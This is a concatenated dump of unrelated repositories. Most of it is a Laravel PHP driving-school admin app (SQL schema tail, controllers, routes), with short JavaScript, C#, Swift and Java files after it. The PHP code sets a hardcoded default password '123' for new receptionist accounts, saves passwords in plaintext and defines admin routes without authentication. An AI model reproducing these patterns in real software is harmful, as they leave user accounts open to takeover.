(2, 'PKD-1453', 'A', 2000, 'Azul', '150', 2015, '2020-10-06', 13);
--
-- Índices para tabelas despejadas
--
--
-- Índices para tabela `categorias`
--
ALTER TABLE `categorias`
ADD PRIMARY KEY (`id`);
--
-- Índices para tabela `instrutores`
--
ALTER TABLE `instrutores`
ADD PRIMARY KEY (`id`);
--
-- Índices para tabela `recepcionistas`
--
ALTER TABLE `recepcionistas`
ADD PRIMARY KEY (`id`);
--
-- Índices para tabela `usuarios`
--
ALTER TABLE `usuarios`
ADD PRIMARY KEY (`id`);
--
-- Índices para tabela `veiculos`
--
ALTER TABLE `veiculos`
ADD PRIMARY KEY (`id`);
--
-- AUTO_INCREMENT de tabelas despejadas
--
--
-- AUTO_INCREMENT de tabela `categorias`
--
ALTER TABLE `categorias`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6;
--
-- AUTO_INCREMENT de tabela `instrutores`
--
ALTER TABLE `instrutores`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=15;
--
-- AUTO_INCREMENT de tabela `recepcionistas`
--
ALTER TABLE `recepcionistas`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
--
-- AUTO_INCREMENT de tabela `usuarios`
--
ALTER TABLE `usuarios`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6;
--
-- AUTO_INCREMENT de tabela `veiculos`
--
ALTER TABLE `veiculos`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
COMMIT;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<file_sep>/app/Http/Controllers/VeiculoController.php
<?php
namespace App\Http\Controllers;
use App\Models\veiculo;
use Illuminate\Http\Request;
class VeiculoController extends Controller
{
public function index(){
$tabela = veiculo::orderby('id', 'desc')->paginate();
return view('painel-admin.veiculos.index', ['itens' => $tabela]);
}
public function create(){
return view('painel-admin.veiculos.create');
}
public function insert(Request $request){
$tabela = new veiculo();
$tabela->placa = $request->placa;
$tabela->categoria = $request->categoria;
$tabela->km = $request->km;
$tabela->cor = $request->cor;
$tabela->marca = $request->marca;
$tabela->ano = $request->ano;
$tabela->data_revisao = $request->data;
$tabela->instrutor = $request->instrutor;
$itens = veiculo::where('placa', '=', $request->placa)->count();
if($itens > 0){
echo "<script language='javascript'> window.alert('Veículo já Cadastrado!') </script>";
return view('painel-admin.veiculos.create');
}
$tabela->save();
return redirect()->route('veiculos.index');
}
public function edit(veiculo $item){
return view('painel-admin.veiculos.edit', ['item' => $item]);
}
public function editar(Request $request, veiculo $item){
$item->placa = $request->placa;
$item->categoria = $request->categoria;
$item->km = $request->km;
$item->cor = $request->cor;
$item->marca = $request->marca;
$item->ano = $request->ano;
$item->data_revisao = $request->data;
$item->instrutor = $request->instrutor;
$old = $request->old;
if($old != $request->placa){
$itens = veiculo::where('placa', '=', $request->placa)->count();
if($itens > 0){
echo "<script language='javascript'> window.alert('Veículo já Cadastrado!') </script>";
return view('painel-admin.veiculos.edit', ['item' => $item]);
}
}
$item->save();
return redirect()->route('veiculos.index');
}
public function delete(veiculo $item){
$item->delete();
return redirect()->route('veiculos.index');
}
public function modal($id){
$item = veiculo::orderby('id', 'desc')->paginate();
return view('painel-admin.veiculos.index', ['itens' => $item, 'id' => $id]);
}
}
<file_sep>/app/Http/Controllers/RecepController.php
<?php
namespace App\Http\Controllers;
use App\Models\instrutore;
use App\Models\recepcionista;
use App\Models\usuario;
use Illuminate\Http\Request;
class RecepController extends Controller
{
public function index(){
$tabela = recepcionista::orderby('id', 'desc')->paginate();
return view('painel-admin.recep.index', ['itens' => $tabela]);
}
public function create(){
return view('painel-admin.recep.create');
}
public function insert(Request $request){
$tabela = new recepcionista();
$tabela->nome = $request->nome;
$tabela->email = $request->email;
$tabela->cpf = $request->cpf;
$tabela->telefone = $request->telefone;
$tabela->endereco = $request->endereco;
$tabela2 = new usuario();
$tabela2->nome = $request->nome;
$tabela2->usuario = $request->email;
$tabela2->cpf = $request->cpf;
$tabela2->senha = '123';
$tabela2->nivel = 'recep';
$itens = recepcionista::where('cpf', '=', $request->cpf)->orwhere('email', '=', $request->email)->count();
if($itens > 0){
echo "<script language='javascript'> window.alert('Registro já Cadastrado!') </script>";
return view('painel-admin.recep.create');
}
$tabela->save();
$tabela2->save();
return redirect()->route('recep.index');
}
public function edit(recepcionista $item){
return view('painel-admin.recep.edit', ['item' => $item]);
}
public function editar(Request $request, recepcionista $item){
$item->nome = $request->nome;
$item->email = $request->email;
$item->cpf = $request->cpf;
$item->telefone = $request->telefone;
$item->endereco = $request->endereco;
$oldcpf = $request->oldcpf;
$oldemail = $request->oldemail;
if($oldcpf != $request->cpf){
$itens = recepcionista::where('cpf', '=', $request->cpf)->count();
if($itens > 0){
echo "<script language='javascript'> window.alert('CPF já Cadastrado!') </script>";
return view('painel-admin.recep.edit', ['item' => $item]);
}
}
if($oldemail != $request->email){
$itens = recepcionista::where('email', '=', $request->email)->count();
if($itens > 0){
echo "<script language='javascript'> window.alert('Email já Cadastrado!') </script>";
return view('painel-admin.recep.edit', ['item' => $item]);
}
}
$item->save();
return redirect()->route('recep.index');
}
public function delete(recepcionista $item){
$item->delete();
return redirect()->route('recep.index');
}
public function modal($id){
$item = recepcionista::orderby('id', 'desc')->paginate();
return view('painel-admin.recep.index', ['itens' => $item, 'id' => $id]);
}
}
<file_sep>/app/Http/Controllers/AdminController.php
<?php
namespace App\Http\Controllers;
use App\Models\usuario;
use Illuminate\Http\Request;
class AdminController extends Controller
{
public function index(){
return view('painel-admin.index');
}
public function editar(Request $request, usuario $usuario){
$usuario->nome = $request->nome;
$usuario->cpf = $request->cpf;
$usuario->usuario = $request->usuario;
$usuario->senha = $request->senha;
$usuario->save();
return redirect()->route('admin.index');
}
}
<file_sep>/app/Http/Controllers/CategoriaController.php
<?php
namespace App\Http\Controllers;
use App\Models\categoria;
use Illuminate\Http\Request;
class CategoriaController extends Controller
{
public function index(){
$tabela = categoria::orderby('id', 'desc')->paginate();
return view('painel-admin.categorias.index', ['itens' => $tabela]);
}
public function create(){
return view('painel-admin.categorias.create');
}
public function insert(Request $request){
$tabela = new categoria();
$tabela->nome = $request->nome;
$itens = categoria::where('nome', '=', $request->nome)->count();
if($itens > 0){
echo "<script language='javascript'> window.alert('Categoria já Cadastrada!') </script>";
return view('painel-admin.categorias.create');
}
$tabela->save();
return redirect()->route('categorias.index');
}
public function edit(categoria $item){
return view('painel-admin.categorias.edit', ['item' => $item]);
}
public function editar(Request $request, categoria $item){
$item->nome = $request->nome;
$old = $request->old;
if($old != $request->nome){
$itens = categoria::where('nome', '=', $request->nome)->count();
if($itens > 0){
echo "<script language='javascript'> window.alert('Categoria já Cadastrada!') </script>";
return view('painel-admin.categorias.edit', ['item' => $item]);
}
}
$item->save();
return redirect()->route('categorias.index');
}
public function delete(categoria $item){
$item->delete();
return redirect()->route('categorias.index');
}
public function modal($id){
$item = categoria::orderby('id', 'desc')->paginate();
return view('painel-admin.categorias.index', ['itens' => $item, 'id' => $id]);
}
}
<file_sep>/routes/web.php
<?php
use App\Http\Controllers\AdminController;
use App\Http\Controllers\CadInstrutoresController;
use App\Http\Controllers\CategoriaController;
use App\Http\Controllers\HomeController;
use App\Http\Controllers\RecepController;
use App\Http\Controllers\UsuarioController;
use App\Http\Controllers\VeiculoController;
use Illuminate\Support\Facades\Route;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/', HomeController::class)->name('home');
Route::post('painel', [UsuarioController::class, 'login'])->name('usuarios.login');
Route::get('instrutores', [CadInstrutoresController::class, 'index'])->name('instrutores.index');
Route::post('instrutores', [CadInstrutoresController::class, 'insert'])->name('instrutores.insert');
Route::get('instrutores/inserir', [CadInstrutoresController::class, 'create'])->name('instrutores.inserir');
Route::get('instrutores/{item}/edit', [CadInstrutoresController::class, 'edit'])->name('instrutores.edit');
Route::put('instrutores/{item}', [CadInstrutoresController::class, 'editar'])->name('instrutores.editar');
Route::delete('instrutores/{item}', [CadInstrutoresController::class, 'delete'])->name('instrutores.delete');
Route::get('instrutores/{item}/delete', [CadInstrutoresController::class, 'modal'])->name('instrutores.modal');
Route::get('recep', [RecepController::class, 'index'])->name('recep.index');
Route::post('recep', [RecepController::class, 'insert'])->name('recep.insert');
Route::get('recep/inserir', [RecepController::class, 'create'])->name('recep.inserir');
Route::get('recep/{item}/edit', [RecepController::class, 'edit'])->name('recep.edit');
Route::put('recep/{item}', [RecepController::class, 'editar'])->name('recep.editar');
Route::delete('recep/{item}', [RecepController::class, 'delete'])->name('recep.delete');
Route::get('recep/{item}/delete', [RecepController::class, 'modal'])->name('recep.modal');
Route::get('usuarios', [UsuarioController::class, 'index'])->name('usuarios.index');
Route::delete('usuarios/{item}', [UsuarioController::class, 'delete'])->name('usuarios.delete');
Route::get('usuarios/{item}/delete', [UsuarioController::class, 'modal'])->name('usuarios.modal');
Route::get('categorias', [CategoriaController::class, 'index'])->name('categorias.index');
Route::post('categorias', [CategoriaController::class, 'insert'])->name('categorias.insert');
Route::get('categorias/inserir', [CategoriaController::class, 'create'])->name('categorias.inserir');
Route::get('categorias/{item}/edit', [CategoriaController::class, 'edit'])->name('categorias.edit');
Route::put('categorias/{item}', [CategoriaController::class, 'editar'])->name('categorias.editar');
Route::delete('categorias/{item}', [CategoriaController::class, 'delete'])->name('categorias.delete');
Route::get('categorias/{item}/delete', [CategoriaController::class, 'modal'])->name('categorias.modal');
Route::get('veiculos', [VeiculoController::class, 'index'])->name('veiculos.index');
Route::post('veiculos', [VeiculoController::class, 'insert'])->name('veiculos.insert');
Route::get('veiculos/inserir', [VeiculoController::class, 'create'])->name('veiculos.inserir');
Route::get('veiculos/{item}/edit', [VeiculoController::class, 'edit'])->name('veiculos.edit');
Route::put('veiculos/{item}', [VeiculoController::class, 'editar'])->name('veiculos.editar');
Route::delete('veiculos/{item}', [VeiculoController::class, 'delete'])->name('veiculos.delete');
Route::get('veiculos/{item}/delete', [VeiculoController::class, 'modal'])->name('veiculos.modal');
Route::get('home-admin', [AdminController::class, 'index'])->name('admin.index');
Route::get('/', [UsuarioController::class, 'logout'])->name('usuarios.logout');
Route::put('admin/{usuario}', [AdminController::class, 'editar'])->name('admin.editar');
| 2784952fbca177ab72255e3182f3e424148f9d41 | [
"SQL",
"PHP"
] | 6 | SQL | Taiosullivan/Sistema-autoescola | 086d391fdb9c2d1a13dd73575c6fb47931dbbf64 | 801368c5b76ae5013a880aa9d838adeca6dbd4c6 |
refs/heads/master | <file_sep>class ObjFomulario{
constructor(marca, modelo, ano, alimentacao, peso, motor, versao, transmicao, direcao, freios){
this.marca = marca
this.modelo = modelo
this.ano = ano
this.alimentacao = alimentacao
this.peso = peso
this.motor = motor
this.versao = versao
this.transmicao = transmicao
this.direcao = direcao
this.freios = freios
}
}
class SalvaLocalStorage{
//gerador de id
constructor(){
let id = localStorage.getItem('id')
if(id === null){
localStorage.setItem('id', 0)
}
}
getprxId(){// neste caso o get se faz necassario pois ele atualizara o id
let prxId = localStorage.getItem('id')
return parseInt(prxId) + 1
}
salve(cadastro){
let id = this.getprxId()
localStorage.setItem(id, JSON.stringify(cadastro))
localStorage.setItem('id', id)
}
}
let salveDados = new SalvaLocalStorage()
// recupera os valores dos dades
function dadosForm(){
let marca = document.querySelector('#marca')
let modelo = document.querySelector('#modelo')
let ano = document.querySelector('#ano')
let alimentacao = document.querySelector('#alimentacao')
let peso = document.querySelector('#peso')
let motor = document.querySelector('#motor')
let versao = document.querySelector('#versao')
let transmicao = document.querySelector('#transmicao')
let direcao = document.querySelector('#direcao')
let freios = document.querySelector('#freios')
let dados = new ObjFomulario(
marca.value,
modelo.value,
ano.value,
alimentacao.value,
peso.value,
motor.value,
versao.value,
transmicao.value,
direcao.value,
freios.value,
)
salveDados.salve(dados)
}
<file_sep>
class ObjFormulario{
constructor(nomeAluno, materia, notaP1, notaP2, notaTexte, notaTb, media){
this.nomeAluno = nomeAluno
this.materia = materia
this.notaP1 = notaP1
this.notaP2 = notaP2
this.notaTexte = notaTexte
this.notaTb =notaTb
// this.media = media
}
}
class SD{
constructor(){
let id = localStorage.getItem('id')
if (id === null){
localStorage.setItem('id', 0)
}
}
// gerador de id
getProximoId(){
let proximoId = localStorage.getItem('id')// getItem recupera um dado
return parseInt(proximoId) + 1
}
// para slvar
salve(desp){
let id = this.getProximoId()// obj do gerador de id
localStorage.setItem(id, JSON.stringify(desp))// setItem inseri um dado
localStorage.setItem('id', id)
}
}
let salvarDados = new SD()// instanciamento do Obj SD
function inscFormulario() {
let nomeAluno = document.querySelector('#nomeAluno')
let materia = document.querySelector('#materia')
let notaP1 = document.querySelector('#notaP1')
let notaP2 = document.querySelector('#notaP2')
let notaTexte = document.querySelector('#notaTexte')
let notaTb = document.querySelector('#notaTb')
// let media = document.querySelector('#media')
let formulario = new ObjFormulario(
nomeAluno.value,
materia.value,
notaP1.value,
notaP2.value,
notaTexte.value,
notaTb.value,
// media.value
)
// chama o Obj salvarDados junto com a intancia do SD salve e o parametro formulario
salvarDados.salve(formulario)
}
| be75ee27147e8cef5ec9b1e7fb9e6ecb6ad3355e | [
"JavaScript"
] | 2 | JavaScript | radi84/JavaScipts | 7ea8bd88e42f1903da02e8f0ecedd2061729dfea | cad64b9903d446fbcff3230c7d9114a70043c0ef |
refs/heads/master | <file_sep>using System;
namespace stringCalculatorTDD
{
public class StringCalculator
{
public int Add(string input)
{
int result; //default of int is 0
if (input == string.Empty)
{
return 0;
}
if (int.TryParse(input, out result)) //single input
{
return result;
}
char anyDelimiter;
string[] resultStrings;
if (input.Contains("//"))
{
anyDelimiter = input[2];
resultStrings = input.Split(anyDelimiter, ',', '\n');
foreach (string resultString in resultStrings)
{
Int32.TryParse(resultString, out int resultNum);
result += resultNum;
}
}
else
{
char[] delimiter = {',', '\n' };
string[] splitInput = input.Split(delimiter);
foreach (string stringNum in splitInput)
{
result += int.Parse(stringNum);
}
}
return result;
}
}
}<file_sep>using NUnit.Framework;
using stringCalculatorTDD;
namespace stringCalculatorTests
{
public class StringCalculatorTests
{
[Test]
public void AddEmptyStringReturnsZero()
{
var stringCalculator = new StringCalculator();
var result = stringCalculator.Add("");
Assert.AreEqual(0,result);
}
[Test]
public void AddNumberReturnsNumber()
{
var stringCalculator = new StringCalculator();
Assert.AreEqual(1,stringCalculator.Add("1"));
Assert.AreEqual(3,stringCalculator.Add("3"));
}
[Test]
public void AddTwoNumbersReturnsSum()
{
var stringCalculator = new StringCalculator();
Assert.AreEqual(3, stringCalculator.Add("1,2"));
Assert.AreEqual(8, stringCalculator.Add("3,5"));
}
[Test]
public void AddAnyNumbersReturnsSum()
{
var stringCalculator = new StringCalculator();
Assert.AreEqual(6, stringCalculator.Add("1,2,3"));
Assert.AreEqual(20, stringCalculator.Add("3,5,3,9"));
}
[Test]
public void AddAnyNumbersReturnsSumWithLineBreaks()
{
var stringCalculator = new StringCalculator();
Assert.AreEqual(6, stringCalculator.Add("1,2\n3"));
Assert.AreEqual(20, stringCalculator.Add("3\n5\n3,9"));
}
[Test]
public void AddDifferentDelimitersReturnsSum()
{
var stringCalculator = new StringCalculator();
Assert.AreEqual(3, stringCalculator.Add("//;\n1;2"));
}
}
} | d22fad0fa9a9204b346e214135c65a1f0663dd0f | [
"C#"
] | 2 | C# | themishmash/kata-stringCalculator | 43a265cd7b8548017bcba6cb056de5b254dd274f | cd6f95ef6726aba45b3e653ba3753c094730748e |
refs/heads/master | <repo_name>martin-podlubny/HSTracker<file_sep>/HSTracker/UIs/Cards/MinimalBar.swift
//
// MinimalBar.swift
// HSTracker
//
// Created by <NAME> on 31/05/16.
// Copyright © 2016 <NAME>. All rights reserved.
//
import Foundation
class MinimalBar: CardBar {
override var themeDir: String {
return "minimal"
}
override func initVars() {
createdIconOffset = -15
}
override func addCardImage() {
guard let card = card else { return }
let fullPath = NSBundle.mainBundle().resourcePath! + "/Resources/Small/\(card.id).png"
if let image = NSImage(contentsOfFile: fullPath),
data = image.TIFFRepresentation,
ciImage = CIImage(data: data) {
let filter = CIFilter(name: "CIGaussianBlur", withInputParameters: [
kCIInputImageKey: ciImage,
"inputRadius": 2
])
if let output = filter?.valueForKey(kCIOutputImageKey) as? CIImage {
output.drawInRect(ratio(frameRect),
fromRect: ciImage.extent,
operation: .CompositeSourceOver,
fraction: 1.0)
}
}
}
override var flashColor: NSColor {
return countTextColor
}
override var countTextColor: NSColor {
guard let card = card else { return NSColor.whiteColor() }
switch card.rarity {
case .Rare:
return NSColor(red: 0.1922, green: 0.5255, blue: 0.8706, alpha: 1.0)
case .Epic:
return NSColor(red: 0.6784, green: 0.4431, blue: 0.9686, alpha: 1.0)
case .Legendary:
return NSColor(red: 1.0, green: 0.6039, blue: 0.0627, alpha: 1.0)
default:
return NSColor.whiteColor()
}
}
override func addCountBox() {
}
}
| d4138651e3605f4807110aaf0f170ddfaf24eeee | [
"Swift"
] | 1 | Swift | martin-podlubny/HSTracker | ab757ea0ceaa60133bd63d085fc43dec9a9d89dc | 55ffa31121bbde57ea384ecbb034083fc67d3a57 |
refs/heads/main | <repo_name>damtonix/vaadin-bug-example<file_sep>/frontend/views/bug/bug-view.js
import {html, PolymerElement} from '@polymer/polymer/polymer-element.js';
import '@vaadin/vaadin-ordered-layout/src/vaadin-vertical-layout.js';
import '@vaadin/vaadin-ordered-layout/src/vaadin-horizontal-layout.js';
import '@vaadin/vaadin-text-field/src/vaadin-text-field.js';
import '@vaadin/vaadin-select/src/vaadin-select.js';
import '@vaadin/vaadin-button/src/vaadin-button.js';
import '@vaadin/vaadin-grid/src/vaadin-grid.js';
import '@vaadin/vaadin-combo-box/src/vaadin-combo-box.js';
import './bug-component.js';
class BugView extends PolymerElement {
static get template() {
return html`
<style include="shared-styles">
:host {
display: block;
height: 100%;
}
</style>
<vaadin-vertical-layout style="width: 100%; height: 100%; padding: 20px">
<bug-component id="bugComponent" propy="red"></bug-component>
</vaadin-vertical-layout>
`;
}
static get is() {
return 'bug-view';
}
static get properties() {
return {};
}
}
customElements.define(BugView.is, BugView);
| a1349b7279c066edfa4447911e2107584c3e63a4 | [
"JavaScript"
] | 1 | JavaScript | damtonix/vaadin-bug-example | 93df1cd014a3fb150a84ec3a87425651c54bb46c | e9e3e4c29fa3cc70770a689c17f0daf73586cb66 |
refs/heads/master | <repo_name>batnasan/erxes-buildpack<file_sep>/bin/detect
#!/usr/bin/env bash
# bin/detect <build-dir>
erxes_ui_dir="ui"
erxes_widgets_dir="widgets"
if [ -f $1/$erxes_ui_dir/package.json ] && [ -f $1/$erxes_widgets_dir/package.json ]; then
echo "erxes detected" && exit 0
else
echo "no erxes detected" && exit 1
fi | ebacbf5b278da73adbb20aa8f7f09f07da434046 | [
"Shell"
] | 1 | Shell | batnasan/erxes-buildpack | 6747eb5cc4e1d5d5965589d47d0214909ba4d704 | 99b1cf3cebfaa60447dc4d465b8b2b0c7f571394 |
refs/heads/master | <repo_name>systemist/forge.memory<file_sep>/inspector/an-inspector/ForgeModule/src/io/trigger/forge/android/modules/memory/EventListener.java
package io.trigger.forge.android.modules.memory;
import io.trigger.forge.android.core.ForgeApp;
import io.trigger.forge.android.core.ForgeEventListener;
public class EventListener extends ForgeEventListener {
@Override
public void onLowMemory() {
ForgeApp.event("memory.didReceiveLowMemoryWarning", null);
super.onLowMemory();
}
}
| 9a3376518bd5b67051c52e8c69858ed1070395f7 | [
"Java"
] | 1 | Java | systemist/forge.memory | 09714ef55a3445ea50b22ef6adcd17a107e1a0b1 | 85eec754221d7aaae658a11cf339e9f49c1ca0fd |
refs/heads/master | <file_sep>/* frameImages
* @author qqqiyuan
* @notes: 需要在html中创建好dom, width和height属性也需要在样式中设置
* @param {FPS} : num
* @param {count}: num, 帧动画的帧数,必填
* @param {imageUrl}: string, 雪碧图链接地址,必填【雪碧图全部上下排列】
* @param {infinite}: bool, 是否循环播放,默认true
* @param {useUrl}: bool, 是否使用层级方式实现帧动画
* @param {urlArr}: array,使用层级方式实现帧动画时的图片地址数组
*/
```
var buyu = require('../resource/libs/images/buyu.png');
import frameImages from './components/frameImages/frameImages'
frameImages($('.j_Demo'), {
imageUrl: buyu,
count: 6,
infinite: false
});
frameImages($('.j_Demo'), {
FPS: 160,
infinite: true,
useUrl: true,
urlArr: [
'./../../../resource/images/energy_00.png',
'./../../../resource/images/energy_01.png',
'./../../../resource/images/energy_02.png',
'./../../../resource/images/energy_03.png',
'./../../../resource/images/energy_04.png',
'./../../../resource/images/energy_05.png'
]
});
```<file_sep>/*
* showBtn 按钮动画
* @author qqqiyuan
* @param {zIndex}: dom zindex值
* @param {index}: 按钮索引值,必填,具体如下:
* @param {TopCb}: 上面按钮点击事件回调函数
* @param {BottomCb}: 下面按钮点击事件回调函数
*/
```
import showBtn from './components/showBtn/showBtn.js';
showBtn($('body'), {
index: 0
});
```<file_sep>/*
* showPK
* @author qqqiyuan
* @note: pk界面动画
* @param {$container}: $DOM元素
* @param {zIndex}: css样式 z-index属性,默认1
* @param {index}: 当前PK界面文案索引值,0 - 3,【必填】
* 0 -> 匠人遭遇其他部落
* 1 -> 迁移埋伏
* 2 -> 雪地智人挑衅选择PK
* 3 -> 改道向东PK
*/
```
import showPK from './components/showPK/showPK.js';
showPK($('body'), {
zIndex: 9
});
```<file_sep>/**
* @description 出现文字弹窗
* 场景有:
* 1. 普通场景(可能需要自定义高度)(包括开始游戏页面)
* 2. 进化之路(下部)
* 3. pk场景(上部)
* @param
* $container {Object} zeptodom对象
* content {String} 文字
* config {Object} 配置对象
* {
* type, 类型 默认 1, 2为进化, 3为pk场景
* top, 文本框高度 默认85 Number,pk场景的高度
* showLines, 文本是否逐行 0为逐行 默认是1不逐行
* }
* @example
* showText($('body'), '我是文字') // pk普通场景不用加配置
* showText($('body'), '我是文字', {
* top: 100
* }) // 普通场景可以指定文本框的高度
*/
import htmlplaceholder from './temp.art';
import html from './temp-show.art';
import './style.less';
import timeConfig from '../../config';
const TIME_TEXTLINES = timeConfig.textLinesTime;
const TIME_PK = timeConfig.textPkShowTime;
const TIME_NORMAL = timeConfig.textNormalShowTime;
const TIME_EVOLUTION = timeConfig.textEvolutionShowTime;
function showText($container, content, config) {
let textItemCount = 0;
let oConfig = {
type: 1,
top: 85,
showLines: 1,
};
const textShowTimeMap = {
1: TIME_NORMAL,
2: TIME_EVOLUTION,
3: TIME_PK,
};
oConfig = config ? Object.assign(oConfig, config) : oConfig;
oConfig.content = content;
const thisTextShowTime = textShowTimeMap[oConfig.type];
const oStyle = {
type: oConfig.type,
width: 0,
height: 0,
top: oConfig.top,
textList: [],
showLines: oConfig.showLines,
};
const fontSize = oConfig.type === 2 ? 16 : 14;
const $textPlaceholder = $(htmlplaceholder(oConfig));
$container.append($textPlaceholder);
oStyle.width = $textPlaceholder.width();
oStyle.height = $textPlaceholder.height();
const countPerLine = Math.floor((oStyle.width - 22) / fontSize);
const lines = Math.ceil(oConfig.content.length / countPerLine);
const textList = oConfig.content.split('');
const arrayPlaceholder = new Array(lines + 1).join(0).split('');
arrayPlaceholder.length = lines;
const textLineList = arrayPlaceholder.map(() => {
const arr = textList.splice(0, countPerLine).join('');
return arr;
});
oStyle.textList = textLineList;
oStyle.content = content;
$textPlaceholder.remove();
console.log(html(oStyle));
const $text = $(html(oStyle));
if (oConfig.type === 2) {
$text.addClass('bounceInUpCustom');
} else {
$text.addClass('fadeInUp');
}
// setTimeout(() => {
$container.append($text);
const $textItems = $text.find('.j_TextItem');
function addTextClass($items) {
$items.eq(textItemCount).addClass('fadeInUp');
textItemCount = textItemCount + 1;
if (textItemCount > ($textItems.length - 1)) {
return false;
}
setTimeout(() => {
addTextClass($items);
}, TIME_TEXTLINES);
return true;
}
(oConfig.showLines === 0) && addTextClass($textItems);
// }, thisTextShowTime);
}
export default showText;
<file_sep>var queue = new createjs.LoadQueue();
queue.installPlugin(createjs.Sound);
queue.on('progress', handleProgress, this);
queue.on('complete', handleComplete, this);
// queue.on('fileload', handleLoading, this);
queue.loadFile({ id: 'script', src: './app.js' });
queue.loadManifest([ './resource/images/chengjiutankuang.png',
'./resource/images/daide-danni-p.png',
'./resource/images/dannisuowaren.png',
'./resource/images/evolution-stage.png',
'./resource/images/fuluoleisiren.png',
'./resource/images/haide-danni.png',
'./resource/images/haide-nian-p.png',
'./resource/images/haide-nian.png',
'./resource/images/haidebaoren.png',
'./resource/images/handshare.png',
'./resource/images/jiangren-zhili-p.png',
'./resource/images/jiangren-zhili.png',
'./resource/images/jiangren-zhiren-p.png',
'./resource/images/jiangren-zhiren.png',
'./resource/images/jiangren.png',
'./resource/images/nengren-jiangren-p.png',
'./resource/images/nengren-jiangren.png',
'./resource/images/nengren.png',
'./resource/images/niandeteren-dongsi.png',
'./resource/images/niandeteren-liuxue.png',
'./resource/images/niandeteren.png',
'./resource/images/page-1-0-loading.png',
'./resource/images/page-1-1-people.png',
'./resource/images/page-1-1-title.png',
'./resource/images/page-10-1-bg.jpg',
'./resource/images/page-11-1-bg.jpg',
'./resource/images/page-11-1-grass.png',
'./resource/images/page-12-1-bg.jpg',
'./resource/images/page-13-1-bg.jpg',
'./resource/images/page-14-1-bg.jpg',
'./resource/images/page-14-1-meat.png',
'./resource/images/page-15-1-bg.jpg',
'./resource/images/page-2-1-bg.jpg',
'./resource/images/page-2-1-wolf-move.png',
'./resource/images/page-2-2-beatwolf.png',
'./resource/images/page-2-2-bg.jpg',
'./resource/images/page-2-3-bg.jpg',
'./resource/images/page-2-3-people.png',
'./resource/images/page-2-4-bg.jpg',
'./resource/images/page-2-4-people.png',
'./resource/images/page-2-5-bg.jpg',
'./resource/images/page-2-5-cross.png',
'./resource/images/page-2-5-east.png',
'./resource/images/page-2-5-west.png',
'./resource/images/page-3-1-bg.jpg',
'./resource/images/page-3-1-people.png',
'./resource/images/page-3-2-people.png',
'./resource/images/page-4-1-bg.jpg',
'./resource/images/page-4-1-leftperson-bg.png',
'./resource/images/page-4-1-qianyi-bg.png',
'./resource/images/page-4-1-rightperson-bg.png',
'./resource/images/page-4-2-bg.jpg',
'./resource/images/page-4-2-dragchild.png',
'./resource/images/page-4-3-bg.jpg',
'./resource/images/page-5-1-bg.jpg',
'./resource/images/page-5-1-routemove.png',
'./resource/images/page-6-1-bg.jpg',
'./resource/images/page-6-2-bg.jpg',
'./resource/images/page-6-2-people.png',
'./resource/images/page-6-3-bg.jpg',
'./resource/images/page-6-3-people.png',
'./resource/images/page-7-1-bg.jpg',
'./resource/images/page-7-1-grass.png',
'./resource/images/page-7-2-bg.jpg',
'./resource/images/page-7-2-snow1.png',
'./resource/images/page-7-2-snow2.png',
'./resource/images/page-7-2-snow3.png',
'./resource/images/page-7-3-bg.jpg',
'./resource/images/page-7-3-text1.png',
'./resource/images/page-7-3-text2.png',
'./resource/images/page-7-3-text3.png',
'./resource/images/page-7-4-bg.jpg',
'./resource/images/page-8-1-bg.jpg',
'./resource/images/page-8-1-fire.png',
'./resource/images/page-9-1-bg.jpg',
'./resource/images/page-9-1-people.png',
'./resource/images/pkvs.png',
'./resource/images/pkyou.png',
'./resource/images/pkzuo.png',
'./resource/images/share.png',
'./resource/images/skills.png',
'./resource/images/snow.png',
'./resource/images/stars.png',
'./resource/images/xiandairen.png',
'./resource/images/yuanmouren.png',
'./resource/images/zhangzhezhiren.png',
'./resource/images/zhili-fuluo-p.png',
'./resource/images/zhili-fuluo.png',
'./resource/images/zhili-haide-p.png',
'./resource/images/zhili-haide.png',
'./resource/images/zhili-yuanmou-p.png',
'./resource/images/zhili-yuanmou.png',
'./resource/images/zhiliren.png',
'./resource/images/zhiren-xiandai-p.png',
'./resource/images/energy.png',
'./resource/images/zhiren-xiandai.png']);
// queue.loadFile({ id: 'sound', src: './preload/music.mp3' });
function handleProgress(data) {
var result = parseInt(((data.progress * 100) + '')) < 1 ? 1 : parseInt(((data.progress * 100) + ''));
document.querySelector('.j_LoadingNum').innerHTML = result;
}
function handleComplete(data) {
PubSub.publish('evolution', {
page: 1,
scene: 1,
$el: $('.j_InitScene'),
});
// createjs.Sound.play('sound');
}
function handleLoading(data) {
if (data.item.src.search(/page-1-0-loading/gi) > -1) {
PubSub.publish('evolution', {
page: 1,
scene: 1,
$el: $('.j_InitScene'),
});
}
}<file_sep>'use strict';
const path = require('path');
const merge = require('webpack-merge');
const parts = require('yazi-webpack-parts');
const glob = require('glob');
let config = {};
const PATHS = {
app: path.join(__dirname, 'app'),
build: path.join(__dirname, 'dist'),
};
const common = {
entry: {
app: PATHS.app,
},
output: {
path: PATHS.build,
filename: '[name].js',
},
module: {
rules: [
{
test: /\.art$/,
exclude: /node_modules/,
use: [{
loader: 'art-template-loader',
options: {
escape: false,
}
}],
},
],
},
plugins: [
],
};
switch(process.env.npm_lifecycle_event) {
case 'build':
config = merge(common,
// parts.clean(PATHS.build),
parts.setupSourceMapForBuild(),
parts.setupJs(),
parts.loadImages({
options: {
limit: 2200,
name: './resource/images/[name].[ext]',
},
}),
parts.extractCSS(),
// parts.setupCSS(),
// parts.purifyCSS({
// paths: glob.sync(`${PATHS.app}/**/*.js`, { nodir: true }),
// }),
parts.setFreeVariable('process.env.NODE_ENV', 'production'),
parts.minify());
break;
default:
config = merge(common,
parts.setupSourceMapForDev(),
parts.devServer({
'host': '192.168.1.101'
}),
